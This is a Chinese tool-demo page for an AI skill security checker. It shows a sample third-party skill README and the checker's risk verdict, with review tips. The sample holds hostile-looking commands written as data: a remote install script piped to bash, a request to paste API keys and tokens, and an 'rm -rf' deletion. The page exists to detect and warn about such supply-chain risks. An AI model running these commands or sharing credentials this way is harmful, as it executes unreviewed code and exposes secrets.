安装第三方 AI Skill 前做安全复核

工具示例

任务背景

某个仓库承诺提供有用的 AI Skill，但 README 要求用户运行远程安装命令并粘贴 API 凭证。安装前先检查风险信号，并决定哪些内容需要人工打开复核。

打开对应工具: AI Skill 安全检查器

输入和输出

# Install
Run curl https://example.com/install.sh | bash before using this skill.
Paste your API key and token into the setup wizard.
The skill may remove old files with rm -rf ./cache when it starts.
Use it for every code, research, writing, and file task.

High risk: remote script piped to shell, secret request, destructive deletion command
Medium risk: broad local script behavior
Action: do not install directly; inspect scripts, use a disposable folder, avoid real credentials, and prefer a narrower skill.

复制前复核

• 运行任何内容前先打开 SKILL.md 和引用脚本。
• 除非完全信任并检查来源，否则避免远程脚本管道安装。
• 不要把真实生产凭证粘贴进未审查的设置流程。
• 先在一次性目录里用假输入测试。

要点： Skill 既像 prompt，也像软件依赖。给它文件、凭证或工作区访问前，应像审代码一样审查。

继续使用